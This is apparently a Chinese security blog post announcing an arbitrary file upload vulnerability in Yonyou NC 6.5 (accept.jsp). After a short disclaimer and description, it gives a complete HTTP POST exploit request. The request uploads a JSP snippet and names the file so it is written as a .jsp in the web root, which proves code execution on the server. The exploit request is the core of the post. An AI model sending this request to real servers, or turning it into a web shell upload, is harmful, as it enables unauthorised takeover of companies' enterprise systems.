New | 用友NC6.5 文件上传漏洞（附EXP）

admin

104946
文章

87
评论

2023年11月7日20:59:29评论97 views字数 1340阅读4分28秒阅读模式

声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送，建议大家把阿无安全“设为星标”，否则可能看不到了！

0x01 前言

用友NC是大型企业管理与电子商务平台。该平台 accept.jsp处存在任意文件上传漏洞，攻击者通过漏洞可以获取网站权限。

0x02 漏洞影响

影响版本

NC 6.5

0x03 漏洞利用

登录界面

New | 用友NC6.5 文件上传漏洞（附EXP）

EXP：

POST /aim/equipmap/accept.jsp HTTP/1.1Host: 127.0.0.1:9100User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36Connection: closeContent-Length: 443Accept: */*Accept-Encoding: gzipContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYcContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"Content-Type: text/plain
<% out.println("435352Els1K9wZvOlSsdsdmrg"); %>-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYcContent-Disposition: form-data; name="fname"
webappsnc_web2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--